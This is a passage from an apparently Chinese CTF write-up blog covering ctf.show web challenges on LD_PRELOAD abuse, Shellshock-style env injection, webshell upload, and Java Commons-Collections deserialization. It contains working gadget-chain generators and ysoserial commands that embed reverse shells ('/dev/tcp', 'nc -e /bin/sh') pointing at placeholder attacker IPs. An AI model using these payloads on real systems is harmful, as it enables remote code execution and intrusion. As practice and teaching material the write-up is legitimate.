range(3,40):\n\t\t\tprint(fd)\n\t\t\ts=socket.socket()\n\t\t\ts.connect(('pwn.challenge.ctf.show',port))\n\t\t\ts.send(f'''GET \/?env=LD_PRELOAD=\/proc\/{pid}\/fd\/{fd} HTTP\/1.1\nHost: 127.0.0.1\nUser-Agent: yu22x\nConnection: close\n\n'''.encode())\n\t\t\tprint(s.recv(2048).decode())\n\t\t\ts.close()\n\n\nfor i in range(30):\n    t = threading.Thread(target=upload)\n    t.start()\nfor j in range(30):\n    a = threading.Thread(target=bruter)\n    a.start()\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web819<\/h2>\n\n\n\n<p>\u7834\u58f3\u6f0f\u6d1e\uff0c\u6211\u8fd8\u4ee5\u4e3a\u662fp\u725b\u90a3\u7bc7\u73af\u5883\u53d8\u91cf\u6ce8\u5165\u5462<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?env=BASH_FUNC_whoami%%=() { cat \/f*;}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web820<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\nerror_reporting(0);\n\nif(strlen($_FILES&#91;'file']&#91;'tmp_name'])&gt;0){\n    $filetype = $_FILES&#91;'file']&#91;'type'];\n    $tmpname = $_FILES&#91;'file']&#91;'tmp_name'];\n    $ef = getimagesize($tmpname);\n\n    if( ($filetype==\"image\/jpeg\") &amp;&amp; ($ef!=false) &amp;&amp; ($ef&#91;'mime']=='image\/jpeg')){\n        $content = base64_decode(file_get_contents($tmpname));\n        file_put_contents(\"shell.php\", $content);\n        echo \"file upload success!\";\n    }\n}else{\n    highlight_file(__FILE__);\n} <\/code><\/pre>\n\n\n\n<p>\u4f1a\u5c06\u6211\u4eec\u4e0a\u4f20\u7684\u56fe\u7247base64\u89e3\u7801\u540e\u5199\u5165\u5230shell.php\u4e2d\uff0cbase64\u4e2d\u662f4\u4f4d4\u4f4d\u8fdb\u884c\u89e3\u7801\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u8981\u5728\u6b63\u5e38\u7684\u56fe\u7247\u52a0\u4e0a\u4e00\u53e5\u8bdd\u6728\u9a6cbase64\u7f16\u7801\u540e\u7684\u6570\u636e\uff0c\u7136\u540e\u56e0\u4e3a\u4e0d\u77e5\u9053\u591a\u5c11\u4f4d\u89e3\u7801\uff0c\u6211\u4eec\u8981\u52a0\u4e0a1\u8865\u7801\uff0c\u5c31\u4e00\u4e2a\u4e00\u4e2a\u8bd5\uff0c\u4e00\u4e2a1\u4e0d\u884c\u5c31\u4e24\u4e2a1\uff0c\u6211PD9\u524d\u9762\u90a3\u51e0\u4e2a1\u5c31\u662f\u8865\u7801<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-14-1024x615.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"615\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/06\/1-14-1024x615.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1981\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">web\u5165\u95e8\u00b7java\u53cd\u5e8f\u5217\u5316<\/h1>\n\n\n\n<p>\u8fdb\u519bjava\uff01<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web846<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-106.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"910\" height=\"252\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-106.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-949\"  sizes=\"auto, (max-width: 910px) 100vw, 910px\" \/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5\u53ea\u8981\u7528\u7528<code>ysoserial<\/code>\u91cc\u90a3\u4e2aURLDNS\u7684payload\u6784\u9020\u4e00\u4e0b\u5bf9\u5f53\u524d\u5730\u5740\u7684dns\u67e5\u8be2\u5373\u53ef(\u8bb0\u5f97\u53bb\u4e00\u4e0b\u7a7a\u683c)\uff0cysoserial\u4e0b\u8f7d\u5730\u5740(\u6765\u81eayu22x\u5e08\u5085)\uff1a<code>https:\/\/pan.baidu.com\/s\/1Sx61GihwHtDsaDXbL7Q7uQ?pwd=jt5w<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>java -jar ysoserial.jar URLDNS \"\u9898\u76ee\u5730\u5740\"|base64<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-107-1024x753.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"753\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-107-1024x753.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-950\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web847<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-108.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"738\" height=\"195\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-108.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-952\"  sizes=\"auto, (max-width: 738px) 100vw, 738px\" \/><\/div><\/figure>\n\n\n\n<p>\u5728ysoserial\u4e2dcc1\u3001cc3\u3001cc5\u3001cc6\u3001cc7\u5bf9\u5e94\u7684commons-collections:3.1\uff0ccc2\u3001cc4\u5bf9\u5e94\u7684commons-collections4:4.0\uff0c\u6240\u4ee5\u57283.1\u4e2d\u968f\u4fbf\u6311\u4e00\u4e2a\u8fd0\u884c\u53cd\u5f39shell\u5373\u53ef\u3002(\u4ee5\u4e0a\u8bdd\u5747\u6765\u81ea\u4e8eyu22x\u5e08\u5085\u539f\u6587\uff0cyu22x\u5e08\u5085\u6211\u7684\u8d85\u4eba\ud83d\ude0d)<\/p>\n\n\n\n<p>payload:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>java -jar ysoserial.jar CommonsCollections1 \"bash -c {echo,\u8981\u6267\u884c\u547d\u4ee4\u7684base64\u7f16\u7801}|{base64,-d}|{bash,-i}\"|base64 <\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u56e0\u4e3a\u6ca1\u56de\u663e\uff0c\u6240\u4ee5\u6211\u4eec\u6267\u884c\u7684\u547d\u4ee4\u53ef\u4ee5\u662f\u53cd\u5f39shell\uff0c\u4e5f\u5c31\u662f<code>bash -i &gt;&amp; \/dev\/tcp\/x.x.x.x\/xxxx 0&gt;&amp;1<\/code>\uff0c\u5426\u5219\u53ea\u80fd\u7528\u5185\u5b58\u9a6c\u8bfb\u56de\u663e\u4e86\uff0c\u90a3\u8fd8\u5f97\u81ea\u5df1\u5199\u94fe\u5b50\uff0c\u4e0d\u50cf\u73b0\u5728\u6709\u73b0\u6210\u5de5\u5177\uff0c\u5f53\u811a\u672c\u5c0f\u5b50\u5c31\u884c\u4e86\uff0c\u7136\u540e\u76d1\u542c\u7aef\u53e3\uff0c\u6267\u884c\u547d\u4ee4\uff0c\u62ff\u5230flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-109.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"674\" height=\"127\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-109.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-953\"  sizes=\"auto, (max-width: 674px) 100vw, 674px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web848<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-110.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"719\" height=\"258\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-110.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-955\"  sizes=\"auto, (max-width: 719px) 100vw, 719px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e0d\u51c6\u7528TransformedMap\u7c7b\u53cd\u5e8f\u5217\u5316\uff0c\u4e5f\u5c31\u662f\u8bf4cc1\u88abban\u4e86\uff0c\u6362\u4e2a\u5176\u4ed6\u7684\u5373\u53ef\uff0c\u6bd4\u5982cc3<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>java -jar ysoserial.jar CommonsCollections3 \"bash -c {echo,\u8981\u6267\u884c\u547d\u4ee4\u7684base64\u7f16\u7801}|{base64,-d}|{bash,-i}\"|base64 <\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u6267\u884c\u547d\u4ee4\u662f\u53cd\u5f39shell\u540c\u4e0a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-111.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"657\" height=\"110\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-111.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-956\"  sizes=\"auto, (max-width: 657px) 100vw, 657px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web849<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-112.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"774\" height=\"240\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-112.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-957\"  sizes=\"auto, (max-width: 774px) 100vw, 774px\" \/><\/div><\/figure>\n\n\n\n<p>\u9898\u76ee\u63cf\u8ff0\u662f\uff1aCC\u94fe\u4e4b\u4e8c\uff0c<strong>\u53ef\u4ee5\u7528nc\u53cd\u5f39<\/strong><\/p>\n\n\n\n<p>\u6240\u4ee5\u7528cc2\u6216\u8005cc4\uff0c\u7136\u540enc\u53cd\u5f39\u4e00\u4e0b(\u5947\u602a\uff0c\u4e0d\u662f\u8bf4nc\u547d\u4ee4\u88ab\u5220\u4e86\u5417)\uff0c\u4e5f\u5c31\u662f<code>nc ip port -e \/bin\/sh<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>java -jar ysoserial.jar CommonsCollections2 \"nc ip port -e \/bin\/sh \"|base64 <\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-113.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"614\" height=\"139\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-113.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-958\"  sizes=\"auto, (max-width: 614px) 100vw, 614px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web850<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-114.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"881\" height=\"265\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-114.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-960\"  sizes=\"auto, (max-width: 881px) 100vw, 881px\" \/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5cc3\u5373\u53ef\uff0c\u5176\u4ed6\u540c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>java -jar ysoserial.jar CommonsCollections3  \"bash -c {echo,\u8981\u6267\u884c\u547d\u4ee4\u7684base64\u7f16\u7801}|{base64,-d}|{bash,-i}\"|base64<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-115.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"573\" height=\"100\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/01\/1-115.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-961\"  sizes=\"auto, (max-width: 573px) 100vw, 573px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">web851<\/h2>\n\n\n\n<p>\u53c2\u8003\uff1a<a href=\"https:\/\/blog.csdn.net\/weixin_43610673\/article\/details\/125631391\">Javaweb\u5b89\u5168\u2014\u2014\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e-commons-collections4\u5229\u7528\u94fe\uff08CC2\u548cCC4\uff09<\/a><\/p>\n\n\n\n<p>\u5c06\u4e4b\u524dCC7\u7684\u94fe\u5b50\u91cc\u7684decorate\u6362\u6210lazyMap\u5c31\u884c\uff0c\u5bfc\u5165\u7684\u5305\u540d\u53d8<code>org.apache.commons.collections4<\/code>\uff0c\u6539\u6210\u9002\u7528\u4e8ecommons-collections4\u7684\u94fe\u5b50<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CC;\n\nimport  org.apache.commons.collections4.Transformer;\nimport  org.apache.commons.collections4.functors.ChainedTransformer;\nimport  org.apache.commons.collections4.functors.ConstantTransformer;\nimport  org.apache.commons.collections4.functors.InvokerTransformer;\nimport  org.apache.commons.collections4.keyvalue.TiedMapEntry;\nimport  org.apache.commons.collections4.map.LazyMap;\n\nimport java.io.*;\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Map;\n\nimport java.util.Base64;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\n\n\npublic class CC {\n    public static void main(String&#91;] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {\n        Transformer&#91;] transformers = new Transformer&#91;]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\", new Class&#91;]{\n                        String.class, Class&#91;].class}, new Object&#91;]{\n                        \"getRuntime\", new Class&#91;0]}),\n                new InvokerTransformer(\"invoke\", new Class&#91;]{\n                        Object.class, Object&#91;].class}, new Object&#91;]{\n                        null, new Object&#91;0]}),\n                new InvokerTransformer(\"exec\",\n                        new Class&#91;]{String.class}, new Object&#91;]{\"nc yourip -e \/bin\/sh\",}), \/\/\u8fd9\u91cc\u53cd\u5f39shell\uff0cip\u6539\u6210\u4f60\u81ea\u5df1vps\u7684\n                new ConstantTransformer(1)};\n        \/\/\u9632\u6b62payload\u751f\u6210\u8fc7\u7a0b\u4e2d\u89e6\u53d1\uff0c\u5148\u653e\u8fdb\u53bb\u4e00\u4e2a\u7a7a\u7684Transform\n        Transformer&#91;] fakeTransformers = new Transformer&#91;] {new ConstantTransformer(1)};\n        Transformer transformerChain = new ChainedTransformer(fakeTransformers);\n        Map innerMap = new HashMap();\n        Map lazyMap = LazyMap.lazyMap(innerMap, transformerChain);\n\n        TiedMapEntry entry = new TiedMapEntry(lazyMap, \"foo\");\n\n        HashSet expMap = new HashSet();\n        expMap.add(entry);\n        \/\/\u79fb\u9664entry\u90a3lazyMap\u7684\u952e\n        lazyMap.remove(\"foo\");\n        \/\/\u901a\u8fc7\u53cd\u5c04\u5c06\u771f\u6b63\u7684\u6076\u610fTransform\u653e\u8fdb\u53bb\n        Field f = ChainedTransformer.class.getDeclaredField(\"iTransformers\");\n        f.setAccessible(true);\n        f.set(transformerChain, transformers);\n\/\/ ==================\n\/\/ \u751f\u6210\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\n        ByteArrayOutputStream barr = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(barr);\n        oos.writeObject(expMap);\n        String payload = new String(Base64.getEncoder().encode(barr.toByteArray()));\n        System.out.println(payload);\n    }\n}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">web852<\/h2>\n\n\n\n<p>\u540c\u4e0a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">web853<\/h2>\n\n\n\n<p>\u4e4b\u524d\u90a3\u4e2a\u6539\u7684\u94fe\u5b50\u6253\u4e0d\u901a\u4e86\uff0c\u663e\u793ajava.lang.ClassNotFoundException: ClassName Not Support\uff0c\u7528yu22x\u5e08\u5085\u7684\u94fe\u5b50\u6539\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import org.apache.commons.collections4.Transformer;\nimport org.apache.commons.collections4.functors.ChainedTransformer;\nimport org.apache.commons.collections4.functors.ConstantTransformer;\nimport org.apache.commons.collections4.functors.InvokerTransformer;\nimport org.apache.commons.collections4.map.DefaultedMap;\n\nimport java.io.*;\nimport java.util.HashMap;\nimport java.util.Hashtable;\nimport java.util.Map;\nimport java.lang.reflect.Constructor;\n\nimport java.util.Base64;\nimport java.io.ByteArrayOutputStream;\n\npublic class Main{\n    public static void main(String&#91;] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException,Exception {\n        Transformer&#91;] transformers = new Transformer&#91;]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\", new Class&#91;]{String.class, Class&#91;].class}, new Object&#91;]{\"getRuntime\", null}),\n                new InvokerTransformer(\"invoke\", new Class&#91;]{Object.class, Object&#91;].class}, new Object&#91;]{null, null}),\n                new InvokerTransformer(\"exec\", new Class&#91;]{String.class}, new Object&#91;]{\"nc ip port -e \/bin\/sh\"})\n        };\n        Transformer transformerChain2 = new ChainedTransformer(transformers);\n\n\n        Map hashMap1 = new HashMap();\n        Map hashMap2 = new HashMap();\n        Class&lt;DefaultedMap&gt; d = DefaultedMap.class;\n        Constructor&lt;DefaultedMap&gt; declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);\n        declaredConstructor.setAccessible(true);\n        DefaultedMap defaultedMap1 = declaredConstructor.newInstance(hashMap1, transformerChain2);\n        DefaultedMap defaultedMap2 = declaredConstructor.newInstance(hashMap2, transformerChain2);\n\n        defaultedMap1.put(\"yy\", 1);\n        defaultedMap2.put(\"zZ\", 1);\n        Hashtable hashtable = new Hashtable();\n        hashtable.put(defaultedMap1, 1);\n        hashtable.put(defaultedMap2, 1);\n        defaultedMap2.remove(\"yy\");\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(baos);\n        oos.writeObject(hashtable);\n        String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));\n        System.out.println(payload);\n\n    }\n}<\/code><\/pre>\n\n\n\n<p>windows\u4e0b\u4f1a\u62a5\u9519\uff0c\u56e0\u4e3a\u6ca1\u6cd5\u6267\u884cnc\uff0c\u6240\u4ee5\u5efa\u8baelinux\u4e0b\u4f7f\u7528<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u5185\u7f51\u6e17\u900f<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">web859_\u6709\u8df3\u677f\u673a<\/h2>\n\n\n\n<p>\u767b\u5f55\u4e0a\u53bb\u540esudo -s\u8fdb\u5165root\u6743\u9650\uff0c\u7136\u540ehome\u76ee\u5f55\u521b\u4e00\u4e2actfshow\u76ee\u5f55\uff0cchmod 777 ctfshow\u7ed9\u4e00\u4e0b\u6743\u9650\uff0c\u7136\u540e\u5c31\u53ef\u4ee5\u7528xftp\u7ed9ctfshow\u76ee\u5f55\u4f20\u4e00\u4e2afscan_amd64\uff0c\u63a5\u7740\u4e0a\u53bb\u626b\u4e00\u4e0b\u5185\u7f51\u3002<\/p>\n\n\n\n<p>\u5148ifconfig\u770b\u4e00\u4e0bip<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/1-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"811\" height=\"321\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/1-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2148\"  